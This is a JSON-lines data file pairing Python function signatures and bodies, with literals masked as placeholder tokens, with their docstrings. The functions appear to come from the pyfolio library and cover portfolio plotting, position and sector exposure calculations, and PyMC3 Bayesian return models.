{"signature": "def plot_txn_time_hist(transactions, bin_minutes=<NUM_LIT:5>, tz='<STR_LIT>',<EOL>ax=None, **kwargs):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>txn_time = transactions.copy()<EOL>txn_time.index = txn_time.index.tz_convert(pytz.timezone(tz))<EOL>txn_time.index = txn_time.index.map(lambda x: x.hour * <NUM_LIT> + x.minute)<EOL>txn_time['<STR_LIT>'] = (txn_time.amount * txn_time.price).abs()<EOL>txn_time = txn_time.groupby(level=<NUM_LIT:0>).sum().reindex(index=range(<NUM_LIT>, <NUM_LIT>))<EOL>txn_time.index = (txn_time.index / bin_minutes).astype(int) * bin_minutes<EOL>txn_time = txn_time.groupby(level=<NUM_LIT:0>).sum()<EOL>txn_time['<STR_LIT>'] = txn_time.index.map(lambda x:<EOL>str(datetime.time(int(x / <NUM_LIT>),<EOL>x % <NUM_LIT>))[:-<NUM_LIT:3>])<EOL>trade_value_sum = txn_time.trade_value.sum()<EOL>txn_time.trade_value = txn_time.trade_value.fillna(<NUM_LIT:0>) / trade_value_sum<EOL>ax.bar(txn_time.index, txn_time.trade_value, width=bin_minutes, **kwargs)<EOL>ax.set_xlim(<NUM_LIT>, <NUM_LIT>)<EOL>ax.set_xticks(txn_time.index[::int(<NUM_LIT:30> / bin_minutes)])<EOL>ax.set_xticklabels(txn_time.time_str[::int(<NUM_LIT:30> / bin_minutes)])<EOL>ax.set_title('<STR_LIT>')<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.set_xlabel('<STR_LIT>')<EOL>return ax<EOL>", "docstring": "Plots a histogram of transaction times, binning the times into\nbuckets of a given duration.\n\nParameters\n----------\ntransactions : pd.DataFrame\n    Prices and amounts of executed trades. One row per trade.\n     - See full explanation in tears.create_full_tear_sheet.\nbin_minutes : float, optional\n    Sizes of the bins in minutes, defaults to 5 minutes.\ntz : str, optional\n    Time zone to plot against. Note that if the specified\n    zone does not apply daylight savings, the distribution\n    may be partially offset.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to plotting function.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m29"}
{"signature": "def show_worst_drawdown_periods(returns, top=<NUM_LIT:5>):", "body": "drawdown_df = timeseries.gen_drawdown_table(returns, top=top)<EOL>utils.print_table(<EOL>drawdown_df.sort_values('<STR_LIT>', ascending=False),<EOL>name='<STR_LIT>',<EOL>float_format='<STR_LIT>'.format,<EOL>)<EOL>", "docstring": "Prints information about the worst drawdown periods.\n\nPrints peak dates, valley dates, recovery dates, and net\ndrawdowns.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\ntop : int, optional\n    Amount of top drawdowns periods to plot (default 5).", "id": "f12210:m30"}
{"signature": "def plot_monthly_returns_timeseries(returns, ax=None, **kwargs):", "body": "def cumulate_returns(x):<EOL><INDENT>return ep.cum_returns(x)[-<NUM_LIT:1>]<EOL><DEDENT>if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>monthly_rets = returns.resample('<STR_LIT:M>').apply(lambda x: cumulate_returns(x))<EOL>monthly_rets = monthly_rets.to_period()<EOL>sns.barplot(x=monthly_rets.index,<EOL>y=monthly_rets.values,<EOL>color='<STR_LIT>')<EOL>locs, labels = plt.xticks()<EOL>plt.setp(labels, rotation=<NUM_LIT>)<EOL>xticks_coord = []<EOL>xticks_label = []<EOL>count = <NUM_LIT:0><EOL>for i in monthly_rets.index:<EOL><INDENT>if i.month == <NUM_LIT:1>:<EOL><INDENT>xticks_label.append(i)<EOL>xticks_coord.append(count)<EOL>ax.axvline(count, color='<STR_LIT>', ls='<STR_LIT>', alpha=<NUM_LIT>)<EOL><DEDENT>count += <NUM_LIT:1><EOL><DEDENT>ax.axhline(<NUM_LIT:0.0>, color='<STR_LIT>', ls='<STR_LIT:->')<EOL>ax.set_xticks(xticks_coord)<EOL>ax.set_xticklabels(xticks_label)<EOL>return ax<EOL>", "docstring": "Plots monthly returns as a timeseries.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to seaborn plotting function.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m31"}
{"signature": "def plot_round_trip_lifetimes(round_trips, disp_amount=<NUM_LIT:16>, lsize=<NUM_LIT>, ax=None):", "body": "if ax is None:<EOL><INDENT>ax = plt.subplot()<EOL><DEDENT>symbols_sample = round_trips.symbol.unique()<EOL>np.random.seed(<NUM_LIT:1>)<EOL>sample = np.random.choice(round_trips.symbol.unique(), replace=False,<EOL>size=min(disp_amount, len(symbols_sample)))<EOL>sample_round_trips = round_trips[round_trips.symbol.isin(sample)]<EOL>symbol_idx = pd.Series(np.arange(len(sample)), index=sample)<EOL>for symbol, sym_round_trips in sample_round_trips.groupby('<STR_LIT>'):<EOL><INDENT>for _, row in sym_round_trips.iterrows():<EOL><INDENT>c = '<STR_LIT:b>' if row.long else '<STR_LIT:r>'<EOL>y_ix = symbol_idx[symbol] + <NUM_LIT><EOL>ax.plot([row['<STR_LIT>'], row['<STR_LIT>']],<EOL>[y_ix, y_ix], color=c,<EOL>linewidth=lsize, solid_capstyle='<STR_LIT>')<EOL><DEDENT><DEDENT>ax.set_yticks(range(disp_amount))<EOL>ax.set_yticklabels([utils.format_asset(s) for s in sample])<EOL>ax.set_ylim((-<NUM_LIT:0.5>, min(len(sample), disp_amount) - <NUM_LIT:0.5>))<EOL>blue = patches.Rectangle([<NUM_LIT:0>, <NUM_LIT:0>], <NUM_LIT:1>, <NUM_LIT:1>, color='<STR_LIT:b>', label='<STR_LIT>')<EOL>red = patches.Rectangle([<NUM_LIT:0>, <NUM_LIT:0>], <NUM_LIT:1>, <NUM_LIT:1>, color='<STR_LIT:r>', label='<STR_LIT>')<EOL>leg = ax.legend(handles=[blue, red], loc='<STR_LIT>',<EOL>frameon=True, framealpha=<NUM_LIT:0.5>)<EOL>leg.get_frame().set_edgecolor('<STR_LIT>')<EOL>ax.grid(False)<EOL>return ax<EOL>", "docstring": "Plots timespans and directions of a sample of round trip trades.\n\nParameters\n----------\nround_trips : pd.DataFrame\n    DataFrame with one row per round trip trade.\n    - See full explanation in round_trips.extract_round_trips\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m32"}
{"signature": "def show_profit_attribution(round_trips):", "body": "total_pnl = round_trips['<STR_LIT>'].sum()<EOL>pnl_attribution = round_trips.groupby('<STR_LIT>')['<STR_LIT>'].sum() / total_pnl<EOL>pnl_attribution.name = '<STR_LIT>'<EOL>pnl_attribution.index = pnl_attribution.index.map(utils.format_asset)<EOL>utils.print_table(<EOL>pnl_attribution.sort_values(<EOL>inplace=False,<EOL>ascending=False,<EOL>),<EOL>name='<STR_LIT>',<EOL>float_format='<STR_LIT>'.format,<EOL>)<EOL>", "docstring": "Prints the share of total PnL contributed by each\ntraded name.\n\nParameters\n----------\nround_trips : pd.DataFrame\n    DataFrame with one row per round trip trade.\n    - See full explanation in round_trips.extract_round_trips\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m33"}
{"signature": "def plot_prob_profit_trade(round_trips, ax=None):", "body": "x = np.linspace(<NUM_LIT:0>, <NUM_LIT:1.>, <NUM_LIT>)<EOL>round_trips['<STR_LIT>'] = round_trips.pnl > <NUM_LIT:0><EOL>dist = sp.stats.beta(round_trips.profitable.sum(),<EOL>(~round_trips.profitable).sum())<EOL>y = dist.pdf(x)<EOL>lower_perc = dist.ppf(<NUM_LIT>)<EOL>upper_perc = dist.ppf(<NUM_LIT>)<EOL>lower_plot = dist.ppf(<NUM_LIT>)<EOL>upper_plot = dist.ppf(<NUM_LIT>)<EOL>if ax is None:<EOL><INDENT>ax = plt.subplot()<EOL><DEDENT>ax.plot(x, y)<EOL>ax.axvline(lower_perc, color='<STR_LIT>')<EOL>ax.axvline(upper_perc, color='<STR_LIT>')<EOL>ax.set_xlabel('<STR_LIT>')<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.set_xlim(lower_plot, upper_plot)<EOL>ax.set_ylim((<NUM_LIT:0>, y.max() + <NUM_LIT:1.>))<EOL>return ax<EOL>", "docstring": "Plots a probability distribution for the event of making\na profitable trade.\n\nParameters\n----------\nround_trips : pd.DataFrame\n    DataFrame with one row per round trip trade.\n    - See full explanation in round_trips.extract_round_trips\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m34"}
{"signature": "def plot_cones(name, bounds, oos_returns, num_samples=<NUM_LIT:1000>, ax=None,<EOL>cone_std=(<NUM_LIT:1.>, <NUM_LIT>, <NUM_LIT>), random_seed=None, num_strikes=<NUM_LIT:3>):", "body": "if ax is None:<EOL><INDENT>fig = figure.Figure(figsize=(<NUM_LIT:10>, <NUM_LIT:8>))<EOL>FigureCanvasAgg(fig)<EOL>axes = fig.add_subplot(<NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>axes = ax<EOL><DEDENT>returns = ep.cum_returns(oos_returns, starting_value=<NUM_LIT:1.>)<EOL>bounds_tmp = bounds.copy()<EOL>returns_tmp = returns.copy()<EOL>cone_start = returns.index[<NUM_LIT:0>]<EOL>colors = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>for c in range(num_strikes + <NUM_LIT:1>):<EOL><INDENT>if c > <NUM_LIT:0>:<EOL><INDENT>tmp = returns.loc[cone_start:]<EOL>bounds_tmp = bounds_tmp.iloc[<NUM_LIT:0>:len(tmp)]<EOL>bounds_tmp = bounds_tmp.set_index(tmp.index)<EOL>crossing = (tmp < bounds_tmp[float(-<NUM_LIT>)].iloc[:len(tmp)])<EOL>if crossing.sum() <= <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT>cone_start = crossing.loc[crossing].index[<NUM_LIT:0>]<EOL>returns_tmp = returns.loc[cone_start:]<EOL>bounds_tmp = (bounds - (<NUM_LIT:1> - returns.loc[cone_start]))<EOL><DEDENT>for std in cone_std:<EOL><INDENT>x = returns_tmp.index<EOL>y1 = bounds_tmp[float(std)].iloc[:len(returns_tmp)]<EOL>y2 = bounds_tmp[float(-std)].iloc[:len(returns_tmp)]<EOL>axes.fill_between(x, y1, y2, color=colors[c], alpha=<NUM_LIT:0.5>)<EOL><DEDENT><DEDENT>label = '<STR_LIT>'.format((returns.iloc[-<NUM_LIT:1>] - <NUM_LIT:1>) * <NUM_LIT:100>)<EOL>axes.plot(returns.index, returns.values, color='<STR_LIT>', lw=<NUM_LIT>,<EOL>label=label)<EOL>if name is not None:<EOL><INDENT>axes.set_title(name)<EOL><DEDENT>axes.axhline(<NUM_LIT:1>, color='<STR_LIT>', alpha=<NUM_LIT>)<EOL>axes.legend(frameon=True, framealpha=<NUM_LIT:0.5>)<EOL>if ax is None:<EOL><INDENT>return fig<EOL><DEDENT>else:<EOL><INDENT>return axes<EOL><DEDENT>", "docstring": "Plots the upper and lower bounds of an n standard deviation\ncone of forecasted cumulative returns. Redraws a new cone when\ncumulative returns fall outside of last cone drawn.\n\nParameters\n----------\nname : str\n    Account name to be used as figure title.\nbounds : pandas.core.frame.DataFrame\n    Contains upper and lower cone boundaries. Column names are\n    strings corresponding to the number of standard devations\n    above (positive) or below (negative) the projected mean\n    cumulative returns.\noos_returns : pandas.core.frame.DataFrame\n    Non-cumulative out-of-sample returns.\nnum_samples : int\n    Number of samples to draw from the in-sample daily returns.\n    Each sample will be an array with length num_days.\n    A higher number of samples will generate a more accurate\n    bootstrap cone.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\ncone_std : list of int/float\n    Number of standard devations to use in the boundaries of\n    the cone. If multiple values are passed, cone bounds will\n    be generated for each value.\nrandom_seed : int\n    Seed for the pseudorandom number generator used by the pandas\n    sample method.\nnum_strikes : int\n    Upper limit for number of cones drawn. Can be anything from 0 to 3.\n\nReturns\n-------\nReturns are either an ax or fig option, but not both. If a\nmatplotlib.Axes instance is passed in as ax, then it will be modified\nand returned. This allows for users to plot interactively in jupyter\nnotebook. When no ax object is passed in, a matplotlib.figure instance\nis generated and returned. This figure can then be used to save\nthe plot as an image without viewing it.\n\nax : matplotlib.Axes\n    The axes that were plotted on.\nfig : matplotlib.figure\n    The figure instance which contains all the plot elements.", "id": "f12210:m35"}
{"signature": "def get_percent_alloc(values):", "body": "return values.divide(<EOL>values.sum(axis='<STR_LIT>'),<EOL>axis='<STR_LIT>'<EOL>)<EOL>", "docstring": "Determines a portfolio's allocations.\n\nParameters\n----------\nvalues : pd.DataFrame\n    Contains position values or amounts.\n\nReturns\n-------\nallocations : pd.DataFrame\n    Positions and their allocations.", "id": "f12213:m0"}
{"signature": "def get_top_long_short_abs(positions, top=<NUM_LIT:10>):", "body": "positions = positions.drop('<STR_LIT>', axis='<STR_LIT>')<EOL>df_max = positions.max()<EOL>df_min = positions.min()<EOL>df_abs_max = positions.abs().max()<EOL>df_top_long = df_max[df_max > <NUM_LIT:0>].nlargest(top)<EOL>df_top_short = df_min[df_min < <NUM_LIT:0>].nsmallest(top)<EOL>df_top_abs = df_abs_max.nlargest(top)<EOL>return df_top_long, df_top_short, df_top_abs<EOL>", "docstring": "Finds the top long, short, and absolute positions.\n\nParameters\n----------\npositions : pd.DataFrame\n    The positions that the strategy takes over time.\ntop : int, optional\n    How many of each to find (default 10).\n\nReturns\n-------\ndf_top_long : pd.DataFrame\n    Top long positions.\ndf_top_short : pd.DataFrame\n    Top short positions.\ndf_top_abs : pd.DataFrame\n    Top absolute positions.", "id": "f12213:m1"}
{"signature": "def get_max_median_position_concentration(positions):", "body": "expos = get_percent_alloc(positions)<EOL>expos = expos.drop('<STR_LIT>', axis=<NUM_LIT:1>)<EOL>longs = expos.where(expos.applymap(lambda x: x > <NUM_LIT:0>))<EOL>shorts = expos.where(expos.applymap(lambda x: x < <NUM_LIT:0>))<EOL>alloc_summary = pd.DataFrame()<EOL>alloc_summary['<STR_LIT>'] = longs.max(axis=<NUM_LIT:1>)<EOL>alloc_summary['<STR_LIT>'] = longs.median(axis=<NUM_LIT:1>)<EOL>alloc_summary['<STR_LIT>'] = shorts.median(axis=<NUM_LIT:1>)<EOL>alloc_summary['<STR_LIT>'] = shorts.min(axis=<NUM_LIT:1>)<EOL>return alloc_summary<EOL>", "docstring": "Finds the max and median long and short position concentrations\nin each time period specified by the index of positions.\n\nParameters\n----------\npositions : pd.DataFrame\n    The positions that the strategy takes over time.\n\nReturns\n-------\npd.DataFrame\n    Columns are max long, max short, median long, and median short\n    position concentrations. Rows are timeperiods.", "id": "f12213:m2"}
{"signature": "def extract_pos(positions, cash):", "body": "positions = positions.copy()<EOL>positions['<STR_LIT>'] = positions.amount * positions.last_sale_price<EOL>cash.name = '<STR_LIT>'<EOL>values = positions.reset_index().pivot_table(index='<STR_LIT:index>',<EOL>columns='<STR_LIT>',<EOL>values='<STR_LIT>')<EOL>if ZIPLINE:<EOL><INDENT>for asset in values.columns:<EOL><INDENT>if type(asset) in [Equity, Future]:<EOL><INDENT>values[asset] = values[asset] * asset.price_multiplier<EOL><DEDENT><DEDENT><DEDENT>values = values.join(cash).fillna(<NUM_LIT:0>)<EOL>values.columns.name = '<STR_LIT>'<EOL>return values<EOL>", "docstring": "Extract position values from backtest object as returned by\nget_backtest() on the Quantopian research platform.\n\nParameters\n----------\npositions : pd.DataFrame\n    timeseries containing one row per symbol (and potentially\n    duplicate datetime indices) and columns for amount and\n    last_sale_price.\ncash : pd.Series\n    timeseries containing cash in the portfolio.\n\nReturns\n-------\npd.DataFrame\n    Daily net position values.\n     - See full explanation in tears.create_full_tear_sheet.", "id": "f12213:m3"}
{"signature": "def get_sector_exposures(positions, symbol_sector_map):", "body": "cash = positions['<STR_LIT>']<EOL>positions = positions.drop('<STR_LIT>', axis=<NUM_LIT:1>)<EOL>unmapped_pos = np.setdiff1d(positions.columns.values,<EOL>list(symbol_sector_map.keys()))<EOL>if len(unmapped_pos) > <NUM_LIT:0>:<EOL><INDENT>warn_message = \"\"\"<STR_LIT>\"\"\".format(<EOL>\"<STR_LIT:U+002CU+0020>\".join(map(str, unmapped_pos)))<EOL>warnings.warn(warn_message, UserWarning)<EOL><DEDENT>sector_exp = positions.groupby(<EOL>by=symbol_sector_map, axis=<NUM_LIT:1>).sum()<EOL>sector_exp['<STR_LIT>'] = cash<EOL>return sector_exp<EOL>", "docstring": "Sum position exposures by sector.\n\nParameters\n----------\npositions : pd.DataFrame\n    Contains position values or amounts.\n    - Example\n        index         'AAPL'         'MSFT'        'CHK'        cash\n        2004-01-09    13939.380     -15012.993    -403.870      1477.483\n        2004-01-12    14492.630     -18624.870    142.630       3989.610\n        2004-01-13    -13853.280    13653.640     -100.980      100.000\nsymbol_sector_map : dict or pd.Series\n    Security identifier to sector mapping.\n    Security ids as keys/index, sectors as values.\n    - Example:\n        {'AAPL' : 'Technology'\n         'MSFT' : 'Technology'\n         'CHK' : 'Natural Resources'}\n\nReturns\n-------\nsector_exp : pd.DataFrame\n    Sectors and their allocations.\n    - Example:\n        index         'Technology'    'Natural Resources' cash\n        2004-01-09    -1073.613       -403.870            1477.4830\n        2004-01-12    -4132.240       142.630             3989.6100\n        2004-01-13    -199.640        -100.980            100.0000", "id": "f12213:m4"}
{"signature": "def get_long_short_pos(positions):", "body": "pos_wo_cash = positions.drop('<STR_LIT>', axis=<NUM_LIT:1>)<EOL>longs = pos_wo_cash[pos_wo_cash > <NUM_LIT:0>].sum(axis=<NUM_LIT:1>).fillna(<NUM_LIT:0>)<EOL>shorts = pos_wo_cash[pos_wo_cash < <NUM_LIT:0>].sum(axis=<NUM_LIT:1>).fillna(<NUM_LIT:0>)<EOL>cash = positions.cash<EOL>net_liquidation = longs + shorts + cash<EOL>df_pos = pd.DataFrame({'<STR_LIT>': longs.divide(net_liquidation, axis='<STR_LIT:index>'),<EOL>'<STR_LIT>': shorts.divide(net_liquidation,<EOL>axis='<STR_LIT:index>')})<EOL>df_pos['<STR_LIT>'] = df_pos['<STR_LIT>'] + df_pos['<STR_LIT>']<EOL>return df_pos<EOL>", "docstring": "Determines the long and short allocations in a portfolio.\n\nParameters\n----------\npositions : pd.DataFrame\n    The positions that the strategy takes over time.\n\nReturns\n-------\ndf_long_short : pd.DataFrame\n    Long and short allocations as a decimal\n    percentage of the total net liquidation", "id": "f12213:m5"}
{"signature": "def model_returns_t_alpha_beta(data, bmark, samples=<NUM_LIT>, progressbar=True):", "body": "data_bmark = pd.concat([data, bmark], axis=<NUM_LIT:1>).dropna()<EOL>with pm.Model() as model:<EOL><INDENT>sigma = pm.HalfCauchy(<EOL>'<STR_LIT>',<EOL>beta=<NUM_LIT:1>)<EOL>nu = pm.Exponential('<STR_LIT>', <NUM_LIT:1.> / <NUM_LIT>)<EOL>X = data_bmark.iloc[:, <NUM_LIT:1>]<EOL>y = data_bmark.iloc[:, <NUM_LIT:0>]<EOL>alpha_reg = pm.Normal('<STR_LIT>', mu=<NUM_LIT:0>, sd=<NUM_LIT>)<EOL>beta_reg = pm.Normal('<STR_LIT>', mu=<NUM_LIT:0>, sd=<NUM_LIT:1>)<EOL>mu_reg = alpha_reg + beta_reg * X<EOL>pm.StudentT('<STR_LIT>',<EOL>nu=nu + <NUM_LIT:2>,<EOL>mu=mu_reg,<EOL>sd=sigma,<EOL>observed=y)<EOL>trace = pm.sample(samples, progressbar=progressbar)<EOL><DEDENT>return model, trace<EOL>", "docstring": "Run Bayesian alpha-beta-model with T distributed returns.\n\nThis model estimates intercept (alpha) and slope (beta) of two\nreturn sets. Usually, these will be algorithm returns and\nbenchmark returns (e.g. S&P500). The data is assumed to be T\ndistributed and thus is robust to outliers and takes tail events\ninto account.  If a pandas.DataFrame is passed as a benchmark, then\nmultiple linear regression is used to estimate alpha and beta.\n\nParameters\n----------\nreturns : pandas.Series\n    Series of simple returns of an algorithm or stock.\nbmark : pandas.DataFrame\n    DataFrame of benchmark returns (e.g., S&P500) or risk factors (e.g.,\n    Fama-French SMB, HML, and UMD).\n    If bmark has more recent returns than returns_train, these dates\n    will be treated as missing values and predictions will be\n    generated for them taking market correlations into account.\nsamples : int (optional)\n    Number of posterior samples to draw.\n\nReturns\n-------\nmodel : pymc.Model object\n    PyMC3 model containing all random variables.\ntrace : pymc3.sampling.BaseTrace object\n    A PyMC3 trace object that contains samples for each parameter\n    of the posterior.", "id": "f12216:m0"}
{"signature": "def model_returns_normal(data, samples=<NUM_LIT>, progressbar=True):", "body": "with pm.Model() as model:<EOL><INDENT>mu = pm.Normal('<STR_LIT>', mu=<NUM_LIT:0>, sd=<NUM_LIT>, testval=data.mean())<EOL>sigma = pm.HalfCauchy('<STR_LIT>', beta=<NUM_LIT:1>, testval=data.std())<EOL>returns = pm.Normal('<STR_LIT>', mu=mu, sd=sigma, observed=data)<EOL>pm.Deterministic(<EOL>'<STR_LIT>',<EOL>returns.distribution.variance**<NUM_LIT> *<EOL>np.sqrt(<NUM_LIT>))<EOL>pm.Deterministic(<EOL>'<STR_LIT>',<EOL>returns.distribution.mean /<EOL>returns.distribution.variance**<NUM_LIT> *<EOL>np.sqrt(<NUM_LIT>))<EOL>trace = pm.sample(samples, progressbar=progressbar)<EOL><DEDENT>return model, trace<EOL>", "docstring": "Run Bayesian model assuming returns are normally distributed.\n\nParameters\n----------\nreturns : pandas.Series\n    Series of simple returns of an algorithm or stock.\nsamples : int (optional)\n    Number of posterior samples to draw.\n\nReturns\n-------\nmodel : pymc.Model object\n    PyMC3 model containing all random variables.\ntrace : pymc3.sampling.BaseTrace object\n    A PyMC3 trace object that contains samples for each parameter\n    of the posterior.", "id": "f12216:m1"}
{"signature": "def model_returns_t(data, samples=<NUM_LIT>, progressbar=True):", "body": "with pm.Model() as model:<EOL><INDENT>mu = pm.Normal('<STR_LIT>', mu=<NUM_LIT:0>, sd=<NUM_LIT>, testval=data.mean())<EOL>sigma = pm.HalfCauchy('<STR_LIT>', beta=<NUM_LIT:1>, testval=data.std())<EOL>nu = pm.Exponential('<STR_LIT>', <NUM_LIT:1.> / <NUM_LIT>, testval=<NUM_LIT>)<EOL>returns = pm.StudentT('<STR_LIT>', nu=nu + <NUM_LIT:2>, mu=mu, sd=sigma,<EOL>observed=data)<EOL>pm.Deterministic('<STR_LIT>',<EOL>returns.distribution.variance**<NUM_LIT> * np.sqrt(<NUM_LIT>))<EOL>pm.Deterministic('<STR_LIT>', returns.distribution.mean /<EOL>returns.distribution.variance**<NUM_LIT> *<EOL>np.sqrt(<NUM_LIT>))<EOL>trace = pm.sample(samples, progressbar=progressbar)<EOL><DEDENT>return model, trace<EOL>", "docstring": "Run Bayesian model assuming returns are Student-T distributed.\n\nCompared with the normal model, this model assumes returns are\nT-distributed and thus have a 3rd parameter (nu) that controls the\nmass in the tails.\n\nParameters\n----------\nreturns : pandas.Series\n    Series of simple returns of an algorithm or stock.\nsamples : int, optional\n    Number of posterior samples to draw.\n\nReturns\n-------\nmodel : pymc.Model object\n    PyMC3 model containing all random variables.\ntrace : pymc3.sampling.BaseTrace object\n    A PyMC3 trace object that contains samples for each parameter\n    of the posterior.", "id": "f12216:m2"}
{"signature": "def model_best(y1, y2, samples=<NUM_LIT:1000>, progressbar=True):", "body": "y = np.concatenate((y1, y2))<EOL>mu_m = np.mean(y)<EOL>mu_p = <NUM_LIT> * <NUM_LIT:1> / np.std(y)**<NUM_LIT:2><EOL>sigma_low = np.std(y) / <NUM_LIT:1000><EOL>sigma_high = np.std(y) * <NUM_LIT:1000><EOL>with pm.Model() as model:<EOL><INDENT>group1_mean = pm.Normal('<STR_LIT>', mu=mu_m, tau=mu_p,<EOL>testval=y1.mean())<EOL>group2_mean = pm.Normal('<STR_LIT>', mu=mu_m, tau=mu_p,<EOL>testval=y2.mean())<EOL>group1_std = pm.Uniform('<STR_LIT>', lower=sigma_low,<EOL>upper=sigma_high, testval=y1.std())<EOL>group2_std = pm.Uniform('<STR_LIT>', lower=sigma_low,<EOL>upper=sigma_high, testval=y2.std())<EOL>nu = pm.Exponential('<STR_LIT>', <NUM_LIT:1> / <NUM_LIT>, testval=<NUM_LIT>) + <NUM_LIT><EOL>returns_group1 = pm.StudentT('<STR_LIT>', nu=nu, mu=group1_mean,<EOL>lam=group1_std**-<NUM_LIT:2>, observed=y1)<EOL>returns_group2 = pm.StudentT('<STR_LIT>', nu=nu, mu=group2_mean,<EOL>lam=group2_std**-<NUM_LIT:2>, observed=y2)<EOL>diff_of_means = pm.Deterministic('<STR_LIT>',<EOL>group2_mean - group1_mean)<EOL>pm.Deterministic('<STR_LIT>',<EOL>group2_std - group1_std)<EOL>pm.Deterministic('<STR_LIT>', diff_of_means /<EOL>pm.math.sqrt((group1_std**<NUM_LIT:2> +<EOL>group2_std**<NUM_LIT:2>) / <NUM_LIT:2>))<EOL>pm.Deterministic('<STR_LIT>',<EOL>returns_group1.distribution.variance**<NUM_LIT> *<EOL>np.sqrt(<NUM_LIT>))<EOL>pm.Deterministic('<STR_LIT>',<EOL>returns_group2.distribution.variance**<NUM_LIT> *<EOL>np.sqrt(<NUM_LIT>))<EOL>pm.Deterministic('<STR_LIT>', returns_group1.distribution.mean /<EOL>returns_group1.distribution.variance**<NUM_LIT> *<EOL>np.sqrt(<NUM_LIT>))<EOL>pm.Deterministic('<STR_LIT>', returns_group2.distribution.mean /<EOL>returns_group2.distribution.variance**<NUM_LIT> *<EOL>np.sqrt(<NUM_LIT>))<EOL>trace = pm.sample(samples, progressbar=progressbar)<EOL><DEDENT>return model, trace<EOL>", "docstring": "Bayesian Estimation Supersedes the T-Test\n\nThis model runs a Bayesian hypothesis comparing if y1 and y2 come\nfrom the same distribution. Returns are assumed to be T-distributed.\n\nIn addition, computes annual volatility and Sharpe of in and\nout-of-sample periods.\n\nThis model replicates the example used in:\nKruschke, John. (2012) Bayesian estimation supersedes the t\ntest. Journal of Experimental Psychology: General.\n\nParameters\n----------\ny1 : array-like\n    Array of returns (e.g. in-sample)\ny2 : array-like\n    Array of returns (e.g. out-of-sample)\nsamples : int, optional\n    Number of posterior samples to draw.\n\nReturns\n-------\nmodel : pymc.Model object\n    PyMC3 model containing all random variables.\ntrace : pymc3.sampling.BaseTrace object\n    A PyMC3 trace object that contains samples for each parameter\n    of the posterior.\n\nSee Also\n--------\nplot_stoch_vol : plotting of tochastic volatility model", "id": "f12216:m3"}
{"signature": "def model_stoch_vol(data, samples=<NUM_LIT>, progressbar=True):", "body": "from pymc3.distributions.timeseries import GaussianRandomWalk<EOL>with pm.Model() as model:<EOL><INDENT>nu = pm.Exponential('<STR_LIT>', <NUM_LIT:1.> / <NUM_LIT:10>, testval=<NUM_LIT>)<EOL>sigma = pm.Exponential('<STR_LIT>', <NUM_LIT:1.> / <NUM_LIT>, testval=<NUM_LIT>)<EOL>s = GaussianRandomWalk('<STR_LIT:s>', sigma**-<NUM_LIT:2>, shape=len(data))<EOL>volatility_process = pm.Deterministic('<STR_LIT>',<EOL>pm.math.exp(-<NUM_LIT:2> * s))<EOL>pm.StudentT('<STR_LIT:r>', nu, lam=volatility_process, observed=data)<EOL>trace = pm.sample(samples, progressbar=progressbar)<EOL><DEDENT>return model, trace<EOL>", "docstring": "Run stochastic volatility model.\n\nThis model estimates the volatility of a returns series over time.\nReturns are assumed to be T-distributed. lambda (width of\nT-distributed) is assumed to follow a random-walk.\n\nParameters\n----------\ndata : pandas.Series\n    Return series to model.\nsamples : int, optional\n    Posterior samples to draw.\n\nReturns\n-------\nmodel : pymc.Model object\n    PyMC3 model containing all random variables.\ntrace : pymc3.sampling.BaseTrace object\n    A PyMC3 trace object that contains samples for each parameter\n    of the posterior.\n\nSee Also\n--------\nplot_stoch_vol : plotting of tochastic volatility model", "id": "f12216:m5"}
{"signature": "def plot_stoch_vol(data, trace=None, ax=None):", "body": "if trace is None:<EOL><INDENT>trace = model_stoch_vol(data)<EOL><DEDENT>if ax is None:<EOL><INDENT>fig, ax = plt.subplots(figsize=(<NUM_LIT:15>, <NUM_LIT:8>))<EOL><DEDENT>data.abs().plot(ax=ax)<EOL>ax.plot(data.index, np.exp(trace['<STR_LIT:s>', ::<NUM_LIT:30>].T), '<STR_LIT:r>', alpha=<NUM_LIT>)<EOL>ax.set(title='<STR_LIT>', xlabel='<STR_LIT>', ylabel='<STR_LIT>')<EOL>ax.legend(['<STR_LIT>', '<STR_LIT>'],<EOL>frameon=True, framealpha=<NUM_LIT:0.5>)<EOL>return ax<EOL>", "docstring": "Generate plot for stochastic volatility model.\n\nParameters\n----------\ndata : pandas.Series\n    Returns to model.\ntrace : pymc3.sampling.BaseTrace object, optional\n    trace as returned by model_stoch_vol\n    If not passed, sample from model.\nax : matplotlib.axes object, optional\n    Plot into axes object\n\nReturns\n-------\nax object\n\nSee Also\n--------\nmodel_stoch_vol : run stochastic volatility model", "id": "f12216:m6"}
